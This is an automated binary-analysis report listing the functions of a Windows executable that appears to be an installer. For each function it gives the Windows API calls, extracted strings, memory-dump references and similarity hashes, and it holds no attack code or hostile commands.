FreeLibrary.KERNEL32(00400000,?,?,?,0040A032,0040701B,00407062,?,?,0040707B,?,?,?,?,004B58E2,00000000), ref: 00409FD0
ExitProcess.KERNEL32(00000000,?,?,?,0040A032,0040701B,00407062,?,?,0040707B,?,?,?,?,004B58E2,00000000), ref: 0040A009

Part of subcall function 00409E60: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?,0040A032,0040701B,00407062,?,?,0040707B), ref: 00409E99
Part of subcall function 00409E60: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?,0040A032,0040701B,00407062,?,?), ref: 00409E9F
Part of subcall function 00409E60: GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?), ref: 00409EBA
Part of subcall function 00409E60: WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?), ref: 00409EC0

Strings

MZP, xrefs: 00409FCF

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: MZP
API String ID: 3490077880-2889622443
Opcode ID: 6b04fe895df515a821d09e547ffe5bfc8ba40b00724ca42204d1de2ed8c9432c
Instruction ID: 014c5f1a4e041581483faaf8c6c30c3af58183677a5e41c876bcbf2d6f0d04a1
Opcode Fuzzy Hash: 6b04fe895df515a821d09e547ffe5bfc8ba40b00724ca42204d1de2ed8c9432c
Instruction Fuzzy Hash: 08316F20A016428AE720EB7A9484B2777E6AB44328F14053FE449E32E3DBBDDC84C75D

Uniqueness

Uniqueness Score: -1.00%

Function 00409EF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00409F28
FreeLibrary.KERNEL32(00400000,?,?,?,0040A032,0040701B,00407062,?,?,0040707B,?,?,?,?,004B58E2,00000000), ref: 00409FD0
ExitProcess.KERNEL32(00000000,?,?,?,0040A032,0040701B,00407062,?,?,0040707B,?,?,?,?,004B58E2,00000000), ref: 0040A009

Part of subcall function 00409E60: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?,0040A032,0040701B,00407062,?,?,0040707B), ref: 00409E99
Part of subcall function 00409E60: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?,0040A032,0040701B,00407062,?,?), ref: 00409E9F
Part of subcall function 00409E60: GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?), ref: 00409EBA
Part of subcall function 00409E60: WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?), ref: 00409EC0

Strings

MZP, xrefs: 00409FCF

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: MZP
API String ID: 3490077880-2889622443
Opcode ID: bc5cc9c885041f3e0416e36a86510f2d3f0a1f0eb85ab9a766e2f376309b75d0
Instruction ID: efb01f5a50f6461e4192e351dbf5a863323bf4e3968e843dfa2323db1f55653e
Opcode Fuzzy Hash: bc5cc9c885041f3e0416e36a86510f2d3f0a1f0eb85ab9a766e2f376309b75d0
Instruction Fuzzy Hash: 38316020A057824AE721EB769484B2777E26F14318F14447FE049E62E3DBBDDC84C75E

Uniqueness

Uniqueness Score: -1.00%

Function 004785F0, Relevance: 6.1, APIs: 4, Instructions: 59registryCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32 ref: 00478611
UnregisterClassW.USER32 ref: 0047863A
RegisterClassW.USER32 ref: 00478644
SetWindowLongW.USER32(00000000,000000FC,00000000), ref: 0047868F

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: e2fbedc3dc89719e5dd2976349d3016b2513452d0a3c721afe5b6b3b40081790
Instruction ID: 76cbbdd911646a042e8386dfe44f4c7e199d23327d7aedec1f7355223984a46f
Opcode Fuzzy Hash: e2fbedc3dc89719e5dd2976349d3016b2513452d0a3c721afe5b6b3b40081790
Instruction Fuzzy Hash: 0C0184716411047BCB50EB98EC85FEA739EE749318F14D21BF508EB392DA79D8418798

Uniqueness

Uniqueness Score: -1.00%

Function 0060E938, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32 ref: 0060E964
MsgWaitForMultipleObjects.USER32 ref: 0060E986
GetExitCodeProcess.KERNEL32 ref: 0060E997
CloseHandle.KERNEL32(00000001,0060E9C4,0060E9BD,?,?,?,00000001,?,?,0060ED66,?,00000000,0060ED7C,?,?,?), ref: 0060E9B7

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
String ID:
API String ID: 4071923889-0
Opcode ID: e330c7493221ce4801be0012b8e2f4e5f8f74b65f70e9419a546d88eb9f8795d
Instruction ID: b0ec01102f1d6a048394a8bbdf14247bb0d5afa7f8636e75558ea4907a3e5d2e
Opcode Fuzzy Hash: e330c7493221ce4801be0012b8e2f4e5f8f74b65f70e9419a546d88eb9f8795d
Instruction Fuzzy Hash: 5B012870A803147EEB24DBA68D06FEBBBADDF45720F510916F604C32C1D5759D40C665

Uniqueness

Uniqueness Score: -1.00%

Function 006AB4C4, Relevance: 6.0, APIs: 4, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 006AB4E4
GetLastError.KERNEL32 ref: 006AB4EE
GetTickCount.KERNEL32 ref: 006AB4F8
Sleep.KERNEL32(00000032), ref: 006AB508

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 73d7597179e9c752d4ec2b904b4b685f0a1b899d7ee572b5c5bd2ed4d478076e
Instruction ID: 2fff96d873347bd790470967934f41cc3c5b953411b1929c54c424c1fdffd6dc
Opcode Fuzzy Hash: 73d7597179e9c752d4ec2b904b4b685f0a1b899d7ee572b5c5bd2ed4d478076e
Instruction Fuzzy Hash: B5E02BA27083911882257DAE18855BE598ACFC375DF28193FF094C2143C6088D854626

Uniqueness

Uniqueness Score: -1.00%

Function 0060CE90, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,?,00000000,0060CF89,?,006D479C,?,00000003,00000000,00000000,?,006AB2FB,00000000,006AB42A), ref: 0060CED8
GetLastError.KERNEL32(00000000,00000000,?,00000000,0060CF89,?,006D479C,?,00000003,00000000,00000000,?,006AB2FB,00000000,006AB42A), ref: 0060CEE1

Strings

.tmp, xrefs: 0060CEC1

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 1990292899e41e678343515c0d89d56f152e79c03e827f697b231b302f2421b6
Instruction ID: bd18ce1fa3822070f52fa9210757cddfa10fef4474c97575e6730c1523ad4e06
Opcode Fuzzy Hash: 1990292899e41e678343515c0d89d56f152e79c03e827f697b231b302f2421b6
Instruction Fuzzy Hash: EE216575A402099FDB04EBE1C842EEFB7BAEF88304F10457AE501A3781DA749E058AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0060B998, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0060B9EC
GetLastError.KERNEL32(00000000,00000000,006D479C,?,?,00624B84,00000000,jKb,?,?,00000000,0060BA12,?,?,?,00000001), ref: 0060B9F4

Strings

jKb, xrefs: 0060B9D2, 0060B9D5

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastProcess
String ID: jKb
API String ID: 2919029540-170918238
Opcode ID: c1b916c59321e3fa91579aeb3cdac3cd55d30723fa64c6d9926a0ea5d314481d
Instruction ID: f0c62e7812bfd872003ae221291c5b02b096b3c9bac239c5ed21538e2c768951
Opcode Fuzzy Hash: c1b916c59321e3fa91579aeb3cdac3cd55d30723fa64c6d9926a0ea5d314481d
Instruction Fuzzy Hash: 25112A72600208AFCB44CEA9DC41DEFB7ECEB4D310B518566F908D3241D734AE108764

Uniqueness

Uniqueness Score: -1.00%

Function 006AB518, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006AB560

Strings

Failed to remove temporary directory: , xrefs: 006AB582
Rm, xrefs: 006AB542

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick
String ID: Failed to remove temporary directory: $Rm
API String ID: 536389180-1076249570
Opcode ID: 9455056cfd00dbf33753fac0645bc5bf9c8d6e161eee054098b2032e13d056f6
Instruction ID: 398c982c0538bc614d191d51ddc6a0f8b2f8344efc011b20d1c36e18f0abd6f5
Opcode Fuzzy Hash: 9455056cfd00dbf33753fac0645bc5bf9c8d6e161eee054098b2032e13d056f6
Instruction Fuzzy Hash: 22012430A50B00AADB62FB71EC03B9973D7EB0A704F50542AF001972C3E7B4AC008E18

Uniqueness

Uniqueness Score: -1.00%

Function 006AAB88, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,006AAF73,00000000,006AAF8E,?,00000000,00000000,?,006B6424,00000006), ref: 006AABEA

Strings

RegisteredOwner, xrefs: 006AABC7
RegisteredOrganization, xrefs: 006AABD9

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 3e3a4d0be09f8e92ab92d2551e3a83229c9f1976f345d8ef1f7fbdb37c4ae43b
Instruction ID: 305c036771833dfdc17d30d00ed60186274228a7a0d0d41d10220e0ec65000dd
Opcode Fuzzy Hash: 3e3a4d0be09f8e92ab92d2551e3a83229c9f1976f345d8ef1f7fbdb37c4ae43b
Instruction Fuzzy Hash: 9FF0B430B45244AFDB01FAD4D956BAA7B9BD787314F60006EE1015B781D764AE40DB21

Uniqueness

Uniqueness Score: -1.00%

Function 005C6790, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,jn\,?,00000000,?,005C6E0A,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,005C6E6A), ref: 005C67AC

Strings

jn\, xrefs: 005C6794, 005C67A5
Control Panel\Desktop\ResourceLocale, xrefs: 005C67AA

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Open
String ID: Control Panel\Desktop\ResourceLocale$jn\
API String ID: 71445658-1009623656
Opcode ID: 4df7dab56c477363e90a00ee02f53cdc5579ada3479c64b4cdcbde454e119a82
Instruction ID: f71c6a141f3997f2863d7813df77b61548f7dd53a97879805adc53d508b96e25
Opcode Fuzzy Hash: 4df7dab56c477363e90a00ee02f53cdc5579ada3479c64b4cdcbde454e119a82
Instruction Fuzzy Hash: E3D0C9769502287BAB009EC9DC41EFB7B9DEB19360F50841AFD0497101C6B4EDA187F4

Uniqueness

Uniqueness Score: -1.00%

Function 00406DF0, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(006CEADC,00000000,00008000), ref: 00406E0E
VirtualFree.KERNEL32(006D0B80,00000000,00008000), ref: 00406E8A

Strings

|l, xrefs: 00406E49

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeVirtual
String ID: |l
API String ID: 1263568516-2943479574
Opcode ID: 32207062ea42549adb7d8cd3475f211863a90d9262ab72e18aeacffdd3282589
Instruction ID: 7e10c0828048ea4be300fdc8c2ce23dddf2df71dc9f68ae824fb6f8d85bed3de
Opcode Fuzzy Hash: 32207062ea42549adb7d8cd3475f211863a90d9262ab72e18aeacffdd3282589
Instruction Fuzzy Hash: F411C1716003108FD7688F18C941B26BBE1FB88710F16807FE54AEF380D679AC018BD8

Uniqueness

Uniqueness Score: -1.00%

Function 006ACDD0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 158windowCOMMON

Download Yara Rule

APIs

SendNotifyMessageW.USER32(001B040C,00000496,00002711,-00000001), ref: 006AD020

Strings

MS PGothic, xrefs: 006ACE74, 006ACE87

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageNotifySend
String ID: MS PGothic
API String ID: 3556456075-3532686627
Opcode ID: b6c258fb3c33f2813c3342e6157044606e6013f872fb64804e9522e309d3d3da
Instruction ID: 89a382baa9b680b343c583d8872c3f7c86f8ccc800703f58e8dd630edb69a3e5
Opcode Fuzzy Hash: b6c258fb3c33f2813c3342e6157044606e6013f872fb64804e9522e309d3d3da
Instruction Fuzzy Hash: 29516E307012408FCB10FF69D889E6A3BA3FB86354B64557AE4069F766CA35DC42CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0045DCCC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,00000000,0000000A,?,?,00000000,00000000,?,00464890,00000000,004648A8,?,0000FFA2,00000000,00000000), ref: 0045DCEE

Strings

HJD, xrefs: 0045DD03

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FindResource
String ID: HJD
API String ID: 1635176832-4209977196
Opcode ID: 03b0c82be6f760f64e561bd3ff9d6fda7a7b4067bec252c696f52900dcbda579
Instruction ID: 8beb91453bcbaa737a20c691b85a4c3c719d3b699ae3dd38a1bbe86ed91b807b
Opcode Fuzzy Hash: 03b0c82be6f760f64e561bd3ff9d6fda7a7b4067bec252c696f52900dcbda579
Instruction Fuzzy Hash: 8C01F771704300BBD711DF66EC42E6AB7ADEB85715711407EF9009B242EAB99C059658

Uniqueness

Uniqueness Score: -1.00%

Function 00414D98, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00414DD7

Strings

TWindowDisabler-Window, xrefs: 00414DD5

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateWindow
String ID: TWindowDisabler-Window
API String ID: 716092398-1824977358
Opcode ID: 4c523ab884bdc3a49de6328adf8e7a054ac0ed32c9ba937a131d341f4e2fdf35
Instruction ID: 2ae43f73961e2cef950b8e695cbe18b859b25492b357a47972b29cef978d1eeb
Opcode Fuzzy Hash: 4c523ab884bdc3a49de6328adf8e7a054ac0ed32c9ba937a131d341f4e2fdf35
Instruction Fuzzy Hash: BAF092B2604158BF9B80DE9DEC81EDB77ECEB4D2A4B05416AFA0CD3201D634ED118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 006AAAD8, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005C6790: RegOpenKeyExW.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,jn\,?,00000000,?,005C6E0A,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,005C6E6A), ref: 005C67AC

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,006B69F6,?,006AAD36,00000000,006AAF8E,?,00000000,00000000), ref: 006AAB1D

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 006AAAEF

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
